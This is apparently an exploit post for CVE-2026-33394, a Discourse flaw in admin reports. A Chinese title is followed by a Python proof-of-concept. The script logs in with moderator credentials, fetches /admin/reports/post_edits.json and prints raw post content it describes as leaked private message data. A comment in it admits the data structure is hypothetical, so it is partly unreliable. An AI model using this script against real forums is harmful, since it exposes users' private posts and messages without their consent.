CVE-2026-33394 Discourse管理员报告信息泄露漏洞

import requests # Target configuration target_url = "https://example.com" admin_username = "moderator_user" admin_password = "password" # Create session session = requests.Session() # 1. Login to get session cookie login_payload = { "login": admin_username, "password": admin_password } login_resp = session.post(f"{target_url}/session", json=login_payload) if login_resp.status_code != 200: print("Login failed") exit() # 2. Access the vulnerable report endpoint # The endpoint /admin/reports/post_edits leaks raw content report_url = f"{target_url}/admin/reports/post_edits.json" response = session.get(report_url) if response.status_code == 200: data = response.json() # Analyze the report data for leaked raw post content # Look for 'post_raw' or similar fields containing private message data print("[+] Report accessed successfully.") print("[+] Data leaked:") for item in data.get('report', {}).get('data', []): # Hypothetical structure based on Discourse reports print(f"Post ID: {item.get('id')}, Leaked Content: {item.get('raw')}") else: print("Failed to access report")